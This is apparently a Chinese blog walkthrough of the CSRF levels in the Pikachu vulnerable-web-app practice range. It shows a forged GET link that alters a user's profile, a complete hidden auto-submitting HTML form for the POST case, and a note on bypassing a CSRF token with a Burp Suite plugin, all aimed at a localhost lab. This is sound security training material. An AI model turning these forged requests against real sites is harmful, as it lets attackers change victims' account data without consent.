pikachu靶场-CSRF

CSRF:

介绍:

Cross-site request forgery简称为"CSRF"。

在CSF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接)

然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击也就完成了(本题是修改个人信息)。

所以CSRF攻击也被称为为"one click'"攻击。

1.CSRF(get):

我们先登录lucy的账号,点击修改信息,顺便用bp抓个包。

成功抓到数据包,看到get请求:

vb 复制代码
`GET /vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=12345678922&add=beijing&email=lucy%40pikachu.com&submit=submit
http://127.0.0.1/pikachu//vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=12345678922&add=beijing&email=lucy%40pikachu.com&submit=submit
我们把性别改成男:
http://127.0.0.1/pikachu//vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=12345678922&add=beijing&email=lucy%40pikachu.com&submit=submit`

若lucy此时登录了该网站,点击了我们构造的 url 就会修改个人信息。

这里也可以使用一些短链接的方式。lucy访问该网站即可修改信息。

2.CSRF(post):

这里依旧拿lucy的个人信息实验,我们点击随便修改一下个人信息,顺便bp抓包。

此时 lucy 信息:

post传参的话,需要我们自己创一个表单,进行提交。

复制代码
sex=boy&phonenum=111111&add=beijing&email=lucy%40pikachu.com&submit=submit
--------------------
我们自己创一个html的文件,放到服务器上,
<html>
    <script>                                                                                                       <!-- 这个script是用来自动提交表单的 -->
        window.onload = function() {
        document.getElementById("submit").click();
        }
    </script>              
    <body>
            <form action="http://127.0.0.1/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">    
                <input type="hidden" name="sex" value="boy" />
                <input type="hidden" name="phonenum" value="111222" />
                <input type="hidden" name="add" value="beijing" />
                <input type="hidden" name="email" value="lucy@pikachu.com" />
                <input type="hidden" name="submit" value="submit" />
              <input id="submit" type="submit" value="Submit request" style="display:none"/>                    
	<!-- style设置为display:none起到隐藏submit按钮的作用 -->
            </form>
    </body>
</html> 

利用phpstudy将文件路径放到pikachu目录下,访问后修过成功。

复制代码
http://127.0.0.1/pikachu/srf_post.php

3.CSRF Token:

这个时候,我们可以利用 burp suite 的插件 CSRF Token Tracker 来绕过

此时lucy个人信息如下,和抓包信息。

插件信息:

修改数据包,刷新lucy的个人信息即可发现数据被更改。

相关推荐
前端小巷子1 分钟前
Web开发中的文件上传
前端·javascript·面试
2501_916013746 分钟前
iOS 多线程导致接口乱序?抓包还原 + 请求调度优化实战
websocket·网络协议·tcp/ip·http·网络安全·https·udp
翻滚吧键盘1 小时前
{{ }}和v-on:click
前端·vue.js
上单带刀不带妹1 小时前
手写 Vue 中虚拟 DOM 到真实 DOM 的完整过程
开发语言·前端·javascript·vue.js·前端框架
夏天想1 小时前
优化 WebSocket 实现单例连接用于打印【待测试 】
网络·websocket·网络协议
杨进军1 小时前
React 创建根节点 createRoot
前端·react.js·前端框架
头发那是一根不剩了1 小时前
双因子认证(2FA)是什么?从零设计一个安全的双因子登录接口
网络安全·系统设计·身份认证
ModyQyW1 小时前
用 AI 驱动 wot-design-uni 开发小程序
前端·uni-app
蓝色记忆2 小时前
Composer PSR-4 自动加载机制的完整流程
php
说码解字2 小时前
Kotlin lazy 委托的底层实现原理
前端